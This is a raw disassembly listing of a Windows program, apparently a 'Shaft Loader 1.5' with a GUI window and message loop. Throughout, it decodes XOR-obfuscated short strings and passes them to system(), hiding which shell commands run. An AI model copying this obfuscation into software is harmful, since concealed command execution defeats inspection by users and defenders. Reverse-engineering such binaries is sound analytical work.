movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x499610]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, esi
xorps xmm2, xmm0
movd dword [ebp - 0x534], xmm2
jmp 0x408d97
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x52c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x538], cl
inc edx
mov dword [ebp - 0x52c], edx
cmp edx, 8
jl 0x408d60
lea eax, [ebp - 0x538]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
mov dword [ebp - 0x20], 0x64
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x1c], 0
call fcn.00410b40
cmp byte [str.7s_vnd__RXOJfwSZMc], 0
mov ecx, dword [0x4989d0]
mov esi, dword [0x4989d4]
mov dword [ebp - 0x538], ecx
mov dword [ebp - 0x534], esi
je 0x408f07
xor edx, edx
mov dword [ebp - 0x52c], edx
cmp edi, 2
jl 0x408ed0
movaps xmm3, xmmword [0x4995e0]
movaps xmm4, xmmword [0x4996a0]
movaps xmm1, xmm3
mov eax, dword [0x499630]
movaps xmm0, xmm3
punpckhdq xmm0, xmm3
punpckldq xmm1, xmm3
pmuldq xmm0, xmm4
movaps xmm2, xmmword [0x4995f0]
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movaps xmm1, xmm2
pmulld xmm0, xmmword [0x499610]
psubd xmm3, xmm0
punpckldq xmm1, xmm2
andps xmm3, xmmword [0x499620]
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, ecx
xorps xmm3, xmm0
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movd dword [ebp - 0x538], xmm3
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x499610]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, esi
xorps xmm2, xmm0
movd dword [ebp - 0x534], xmm2
jmp 0x408f07
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x52c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x538], cl
inc edx
mov dword [ebp - 0x52c], edx
cmp edx, 8
jl 0x408ed0
lea eax, [ebp - 0x538]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
mov dword [ebp - 0x20], 0x64
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x1c], 0
call fcn.00410b40
cmp byte [str.7EcFQGOV_UIQJV__], 0
mov ecx, dword [0x498550]
mov esi, dword [0x498554]
mov dword [ebp - 0x538], ecx
mov dword [ebp - 0x534], esi
je 0x409077
xor edx, edx
mov dword [ebp - 0x52c], edx
cmp edi, 2
jl 0x409040
movaps xmm3, xmmword [0x4995e0]
movaps xmm4, xmmword [0x4996a0]
movaps xmm1, xmm3
mov eax, dword [0x499630]
movaps xmm0, xmm3
punpckhdq xmm0, xmm3
punpckldq xmm1, xmm3
pmuldq xmm0, xmm4
movaps xmm2, xmmword [0x4995f0]
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movaps xmm1, xmm2
pmulld xmm0, xmmword [0x499610]
psubd xmm3, xmm0
punpckldq xmm1, xmm2
andps xmm3, xmmword [0x499620]
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, ecx
xorps xmm3, xmm0
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movd dword [ebp - 0x538], xmm3
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x499610]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, esi
xorps xmm2, xmm0
movd dword [ebp - 0x534], xmm2
jmp 0x409077
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x52c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x538], cl
inc edx
mov dword [ebp - 0x52c], edx
cmp edx, 8
jl 0x409040
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea eax, [ebp - 0x538]
push eax
call esi
add esp, 4
mov dword [ebp - 0x20], 0x7d0
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x1c], 0
call fcn.00410b40
cmp byte [0x498483], 0
mov eax, dword [str.sa3DPAX_Z_]
mov dword [ebp - 0x52c], eax
je 0x409177
xor edx, edx
mov dword [ebp - 0x53c], edx
cmp edi, 2
jl 0x409140
movaps xmm3, xmmword [0x4995e0]
movaps xmm2, xmm3
movaps xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x4996a0]
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x4996a0]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movaps xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x499610]
psubd xmm3, xmm0
movd xmm0, eax
andps xmm3, xmmword [0x499620]
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmmword [0x499630]
xorps xmm3, xmm0
movd dword [ebp - 0x52c], xmm3
jmp 0x409177
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x53c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x52c], cl
inc edx
mov dword [ebp - 0x53c], edx
cmp edx, 4
jl 0x409140
lea eax, [ebp - 0x52c]
push eax
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 4
mov edx, 0x4535c8
call fcn.00410c80
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4535c8
call fcn.00410c80
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4535c8
call fcn.00410c80
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4535c8
call fcn.00410c80
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4535c8
call fcn.00410c80
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4535c8
call fcn.00410c80
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4535c8
call fcn.00410c80
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4535c8
call fcn.00410c80
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4535c8
call fcn.00410c80
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4535c8
call fcn.00410c80
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4535c8
call fcn.00410c80
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4535c8
call fcn.00410c80
cmp byte [str.7TT], 0
mov ecx, dword [0x49864c]
mov esi, dword [0x498650]
mov dword [ebp - 0x538], ecx
mov dword [ebp - 0x534], esi
je 0x40938c
xor edx, edx
mov dword [ebp - 0x52c], edx
cmp edi, 2
jl 0x409355
movaps xmm3, xmmword [0x4995e0]
movaps xmm4, xmmword [0x4996a0]
movaps xmm1, xmm3
mov eax, dword [0x499630]
movaps xmm0, xmm3
punpckhdq xmm0, xmm3
punpckldq xmm1, xmm3
pmuldq xmm0, xmm4
movaps xmm2, xmmword [0x4995f0]
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movaps xmm1, xmm2
pmulld xmm0, xmmword [0x499610]
psubd xmm3, xmm0
punpckldq xmm1, xmm2
andps xmm3, xmmword [0x499620]
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, ecx
xorps xmm3, xmm0
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movd dword [ebp - 0x538], xmm3
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x499610]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, esi
xorps xmm2, xmm0
movd dword [ebp - 0x534], xmm2
jmp 0x40938c
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x52c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x538], cl
inc edx
mov dword [ebp - 0x52c], edx
cmp edx, 8
jl 0x409355
lea eax, [ebp - 0x538]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movaps xmm0, xmmword [0x499940]
lea ecx, [ebp - 0x570]
mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 4
movups xmmword [ebp - 0x570], xmm0
mov dword [ebp - 0x550], 0x8a8dccce
movaps xmm0, xmmword [0x4997d0]
movups xmmword [ebp - 0x560], xmm0
mov dword [ebp - 0x54c], 0xad868b
mov byte [ebp - 0x548], 1
call fcn.0040e810
lea edx, [ebp - 0x570]
mov ecx, esi
call fcn.00410c80
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 0x3e8
mov dword [ebp - 0x1c], 0
call fcn.00410b40
movaps xmm0, xmmword [0x499730]
lea ecx, [ebp - 0x5e4]
movups xmmword [ebp - 0x5e4], xmm0
mov dword [ebp - 0x5d4], 0xc1ddb2af
mov word [ebp - 0x5d0], 0xd9
mov byte [ebp - 0x5ce], 1
call fcn.0040e770
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea eax, [ebp - 0x5e4]
push eax
call esi
add esp, 4
test eax, eax
jne 0x40dec6
cmp byte [0x498483], 0
mov eax, dword [str.sa3DPAX_Z_]
mov dword [ebp - 0x52c], eax
je 0x409527
xor edx, edx
mov dword [ebp - 0x53c], edx
cmp edi, 2
jl 0x4094f0
movaps xmm3, xmmword [0x4995e0]
movaps xmm2, xmm3
movaps xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x4996a0]
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x4996a0]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movaps xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x499610]
psubd xmm3, xmm0
movd xmm0, eax
andps xmm3, xmmword [0x499620]
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmmword [0x499630]
xorps xmm3, xmm0
movd dword [ebp - 0x52c], xmm3
jmp 0x409527
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x53c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x52c], cl
inc edx
mov dword [ebp - 0x53c], edx
cmp edx, 4
jl 0x4094f0
lea eax, [ebp - 0x52c]
push eax
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 4
mov edx, 0x4535c8
call fcn.00410c80
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4535c8
call fcn.00410c80
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4535c8
call fcn.00410c80
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4535c8
call fcn.00410c80
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4535c8
call fcn.00410c80
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4535c8
call fcn.00410c80
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4535c8
call fcn.00410c80
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4535c8
call fcn.00410c80
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4535c8
call fcn.00410c80
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4535c8
call fcn.00410c80
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4535c8
call fcn.00410c80
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4535c8
call fcn.00410c80
cmp byte [str.7sF], 0
mov ecx, dword [str.sF]
mov esi, dword [0x4986f0]
mov dword [ebp - 0x538], ecx
mov dword [ebp - 0x534], esi
je 0x40973c
xor edx, edx
mov dword [ebp - 0x52c], edx
cmp edi, 2
jl 0x409705
movaps xmm3, xmmword [0x4995e0]
movaps xmm4, xmmword [0x4996a0]
movaps xmm1, xmm3
mov eax, dword [0x499630]
movaps xmm0, xmm3
punpckhdq xmm0, xmm3
punpckldq xmm1, xmm3
pmuldq xmm0, xmm4
movaps xmm2, xmmword [0x4995f0]
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movaps xmm1, xmm2
pmulld xmm0, xmmword [0x499610]
psubd xmm3, xmm0
punpckldq xmm1, xmm2
andps xmm3, xmmword [0x499620]
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, ecx
xorps xmm3, xmm0
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movd dword [ebp - 0x538], xmm3
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x499610]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, esi
xorps xmm2, xmm0
movd dword [ebp - 0x534], xmm2
jmp 0x40973c
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x52c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x538], cl
inc edx
mov dword [ebp - 0x52c], edx
cmp edx, 8
jl 0x409705
lea eax, [ebp - 0x538]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movaps xmm0, xmmword [0x499780]
lea ecx, [ebp - 0x570]
mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 4
movups xmmword [ebp - 0x570], xmm0
mov dword [ebp - 0x550], 0x8a8dc5cf
movaps xmm0, xmmword [0x4997c0]
movups xmmword [ebp - 0x560], xmm0
mov dword [ebp - 0x54c], 0xad868b
mov byte [ebp - 0x548], 1
call fcn.0040e810
lea edx, [ebp - 0x570]
mov ecx, esi
call fcn.00410c80
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 0x3e8
mov dword [ebp - 0x1c], 0
call fcn.00410b40
cmp byte [0x498483], 0
mov eax, dword [str.sa3DPAX_Z_]
mov dword [ebp - 0x52c], eax
je 0x409888
xor edx, edx
mov dword [ebp - 0x53c], edx
cmp edi, 2
jl 0x409851
movaps xmm3, xmmword [0x4995e0]
movaps xmm2, xmm3
movaps xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x4996a0]
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x4996a0]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movaps xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x499610]
psubd xmm3, xmm0
movd xmm0, eax
andps xmm3, xmmword [0x499620]
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmmword [0x499630]
xorps xmm3, xmm0
movd dword [ebp - 0x52c], xmm3
jmp 0x409888
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x53c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x52c], cl
inc edx
mov dword [ebp - 0x53c], edx
cmp edx, 4
jl 0x409851
lea eax, [ebp - 0x52c]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
mov dword [ebp - 0x45c], 0x30
mov dword [ebp - 0x458], 0x40
mov dword [ebp - 0x454], 0x4079d0
mov dword [ebp - 0x450], 0
push 0
mov dword [ebp - 0x44c], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x448], eax
xorps xmm0, xmm0
lea eax, [ebp - 0x45c]
mov dword [ebp - 0x434], 0x4536c4
push eax
movups xmmword [ebp - 0x444], xmm0
mov dword [ebp - 0x430], 0
call dword [sym.imp.USER32.dll_RegisterClassExA]
push 0
push dword [ebp - 0x448]
push 0
push 0
push 5
push 5
push 0
push 0
push 0x80000000
push 0x4536c4
push dword [ebp - 0x434]
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov ecx, eax
mov dword [0x5b5d58], eax
call fcn.00406940
test al, al
jne 0x40995e
call fcn.00406a00
push dword [ebp - 0x448]
push dword [ebp - 0x434]
call dword [sym.imp.USER32.dll_UnregisterClassA]
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push 0
push dword [0x5b5d58]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [0x5b5d58]
call dword [sym.imp.USER32.dll_UpdateWindow]
xor ecx, ecx
call fcn.004166c0
mov edi, dword [0x5b5d98]
xor ecx, ecx
mov dword [ebp - 0x5a0], edi
or dword [edi + 8], 0x400
mov dword [edi + 0x20], 0
call fcn.00439090
test dword [edi + 8], 0x400
je 0x409cda
mov esi, dword [0x5b5d98]
lea ecx, [ebp - 0x58]
push 0xe1
push 2
push 2
push 2
call fcn.004068e0
push 0xe1
push 2
push 2
movups xmm0, xmmword [eax]
push 2
lea ecx, [ebp - 0x58]
movups xmmword [esi + 0x16fc], xmm0
call fcn.004068e0
push 0xe1
push 2
push 2
movups xmm0, xmmword [eax]
push 2
lea ecx, [ebp - 0x58]
movups xmmword [esi + 0x171c], xmm0
call fcn.004068e0
push 0xe1
push 2
push 2
movups xmm0, xmmword [eax]
push 2
lea ecx, [ebp - 0x58]
movups xmmword [esi + 0x170c], xmm0
call fcn.004068e0
push 0xff
push 0x1c
push 0x1c
movups xmm0, xmmword [eax]
push 0x1c
lea ecx, [ebp - 0x58]
movups xmmword [esi + 0x167c], xmm0
call fcn.004068e0
push 0xff
push 0x26
push 0x26
movups xmm0, xmmword [eax]
push 0x26
lea ecx, [ebp - 0x58]
movups xmmword [esi + 0x17ac], xmm0
call fcn.004068e0
push 0xff
push 0x26
push 0x26
movups xmm0, xmmword [eax]
push 0x26
lea ecx, [ebp - 0x58]
movups xmmword [esi + 0x17cc], xmm0
call fcn.004068e0
push 0xff
push 0xff
push 0xff
movups xmm0, xmmword [eax]
push 0xff
lea ecx, [ebp - 0x58]
movups xmmword [esi + 0x17bc], xmm0
call fcn.004068e0
push 0xff
push 0x26
push 0x26
movups xmm0, xmmword [eax]
push 0x26
lea ecx, [ebp - 0x58]
movups xmmword [esi + 0x177c], xmm0
call fcn.004068e0
push 0xff
push 0x2a
push 0x2a
movups xmm0, xmmword [eax]
push 0x2a
lea ecx, [ebp - 0x58]
movups xmmword [esi + 0x16cc], xmm0
call fcn.004068e0
movups xmm0, xmmword [eax]
movups xmmword [esi + 0x16ec], xmm0
push 0xff
push 0x27
push 0x27
push 0x27
lea ecx, [ebp - 0x58]
call fcn.004068e0
push 0xff
push 0x18
push 0x18
movups xmm0, xmmword [eax]
push 0x18
lea ecx, [ebp - 0x58]
movups xmmword [esi + 0x16dc], xmm0
call fcn.004068e0
push 0xff
push 0x37
push 0x35
movups xmm0, xmmword [eax]
push 0x36
lea ecx, [ebp - 0x58]
movups xmmword [esi + 0x17dc], xmm0
call fcn.004068e0
push 0x64
push 0x18
push 0x18
movups xmm0, xmmword [eax]
push 0x18
lea ecx, [ebp - 0x58]
movups xmmword [esi + 0x17fc], xmm0
call fcn.004068e0
push 0xff
push 0x32
push 0x31
movups xmm0, xmmword [eax]
push 0x33
lea ecx, [ebp - 0x58]
movups xmmword [esi + 0x17ec], xmm0
call fcn.004068e0
push 0xff
push 0x37
push 0x35
movups xmm0, xmmword [eax]
push 0x36
lea ecx, [ebp - 0x58]
movups xmmword [esi + 0x183c], xmm0
call fcn.004068e0
push 0xff
push 0x32
push 0x31
movups xmm0, xmmword [eax]
push 0x33
lea ecx, [ebp - 0x58]
movups xmmword [esi + 0x185c], xmm0
call fcn.004068e0
push 0xff
push 0x31
push 0x4f
movups xmm0, xmmword [eax]
push 0xf9
lea ecx, [ebp - 0x58]
movups xmmword [esi + 0x184c], xmm0
call fcn.004068e0
push 0xff
push 0x31
push 0x4f
movups xmm0, xmmword [eax]
push 0xf9
lea ecx, [ebp - 0x58]
movups xmmword [esi + 0x178c], xmm0
call fcn.004068e0
push 0xff
push 0x2f
push 0x24
movups xmm0, xmmword [eax]
push 0x20
lea ecx, [ebp - 0x58]
movups xmmword [esi + 0x179c], xmm0
call fcn.004068e0
push 0xff
movups xmm0, xmmword [eax]
movups xmmword [esi + 0x188c], xmm0
push 0x2f
push 0x24
push 0x20
lea ecx, [ebp - 0x58]
call fcn.004068e0
push 0xe1
push 2
push 2
movups xmm0, xmmword [eax]
push 2
lea ecx, [ebp - 0x58]
movups xmmword [esi + 0x186c], xmm0
call fcn.004068e0
push 0xff
push 0x36
push 0x36
movups xmm0, xmmword [eax]
push 0x36
lea ecx, [ebp - 0x58]
movups xmmword [esi + 0x16ac], xmm0
call fcn.004068e0
push 0xff
push 0x36
push 0x36
movups xmm0, xmmword [eax]
push 0x36
lea ecx, [ebp - 0x58]
movups xmmword [esi + 0x180c], xmm0
call fcn.004068e0
push 0xff
push 0x36
push 0x36
movups xmm0, xmmword [eax]
push 0x36
lea ecx, [ebp - 0x58]
movups xmmword [esi + 0x182c], xmm0
call fcn.004068e0
movups xmm0, xmmword [eax]
mov dword [esi + 0x159c], 0x40800000
mov dword [esi + 0x15a0], 0x40800000
movups xmmword [esi + 0x181c], xmm0
mov dword [esi + 0x15a8], 0
mov dword [esi + 0x15d0], 0x41000000
mov dword [esi + 0x15d4], 0x40c00000
mov dword [esi + 0x15d8], 0x41000000
mov dword [esi + 0x15dc], 0x3f800000
mov ecx, dword [0x5b5d58]
call fcn.00442cb0
mov ecx, dword [0x5b5d50]
call fcn.00442550
lea ecx, [ebp - 0x250]
call fcn.0043d170
lea ecx, [ebp - 0x428]
call fcn.0043d170
movss xmm3, dword [0x4994bc]
lea eax, [ebp - 0x428]
push 0
push eax
push 0x225bc
mov byte [ebp - 0x420], 0
mov byte [ebp - 0x214], 1
mov byte [ebp - 0x234], 1
mov dword [ebp - 0x23c], 3
mov dword [ebp - 0x238], 3
mov ecx, dword [edi + 0x98]
push 0x471e08
call fcn.0043d7b0
movss xmm3, dword [0x4994c4]
lea eax, [ebp - 0x250]
mov ecx, dword [edi + 0x98]
push 0x498548
push eax
push 0x1e695
push 0x453770
call fcn.0043d880
mov ecx, dword [edi + 0x98]
push 0
call fcn.0043d660
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
xorps xmm0, xmm0
mov dword [ebp - 0x84], 0
movups xmmword [ebp - 0x9c], xmm0
movq qword [ebp - 0x8c], xmm0
nop dword [eax + eax]
cmp byte [0x5b5d5d], 0
jne 0x40de73
push 1
push 0
push 0
push 0
lea eax, [ebp - 0x9c]
push eax
call dword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x409e05
lea eax, [ebp - 0x9c]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x9c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x40d509
cmp dword [0x5b6008], 0
jne 0x409e25
cmp dword [0x5b6010], 0
je 0x409e25
call fcn.00442600
test al, al
je 0x409e25
call fcn.00442c60
call fcn.00443730
call fcn.00417b10
mov eax, dword [0x5b5d98]
mov edx, 0x5b5498
push 0x16a
mov ecx, str.Shaft_Loader__1.5
or dword [eax + 0x1cd0], 2
mov dword [eax + 0x1cf4], 0x44390000
mov dword [eax + 0x1cf8], 0x43d60000
mov dword [eax + 0x1cd8], 1
call fcn.0041da20
mov ecx, dword [0x5b5d98]
add esp, 4
mov dword [ebp - 0x690], 0x44390000
mov dword [ebp - 0x68c], 0x43c20000
mov eax, dword [ecx + 0x1c48]
push 8
push 0
mov byte [eax + 0xc5], 1
lea eax, [ebp - 0x690]
mov ecx, dword [ecx + 0x1c48]
push eax
push 0
push str.main
call fcn.004160d0
mov edx, eax
mov ecx, str.main
call fcn.0041ada0
mov ecx, dword [0x5b5d98]
add esp, 0xc
mov eax, dword [ecx + 0x1c48]
mov byte [eax + 0xc5], 1
mov eax, dword [ecx + 0x1c48]
mov eax, dword [eax + 0x2c4]
mov dword [ebp - 0x52c], eax
mov eax, dword fs:[0x2c]
mov esi, dword [eax]
mov eax, dword [0x5b6558]
cmp eax, dword [esi + 4]
jle 0x409f47
push 0x5b6558
call fcn.0044fe3f
add esp, 4
cmp dword [0x5b6558], 0xffffffff
jne 0x409f47
mov eax, 0x5b6070
mov ecx, 0x9b
nop dword [eax]
mov dword [eax + 4], 0
lea eax, [eax + 8]
mov dword [eax - 8], 0
sub ecx, 1
jne 0x409f20
push 0x5b6558
mov byte [ebp - 4], 7
call fcn.0044fdee
add esp, 4
mov eax, dword [0x5b6a3c]
cmp eax, dword [esi + 4]
jle 0x409f8b
push 0x5b6a3c
call fcn.0044fe3f
add esp, 4
cmp dword [0x5b6a3c], 0xffffffff
jne 0x409f8b
push 0x5b6a3c
mov dword [0x5b6554], 0
mov dword [0x5b6550], 0
call fcn.0044fdee
add esp, 4
mov eax, dword [0x5b6a38]
cmp eax, dword [esi + 4]
jle 0x409fe7
push 0x5b6a38
call fcn.0044fe3f
add esp, 4
cmp dword [0x5b6a38], 0xffffffff
jne 0x409fe7
mov eax, 0x5b6560
mov ecx, 0x9b
nop dword [eax + eax]
mov dword [eax + 4], 0
lea eax, [eax + 8]
mov dword [eax - 8], 0
sub ecx, 1
jne 0x409fc0
push 0x5b6a38
mov byte [ebp - 4], 7
call fcn.0044fdee
add esp, 4
cmp byte [0x5b604c], 0
jne 0x40a104
xor edi, edi
nop word [eax + eax]
mov eax, dword [0x5b5d98]
mov esi, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov eax, dword [eax + 0x1c48]
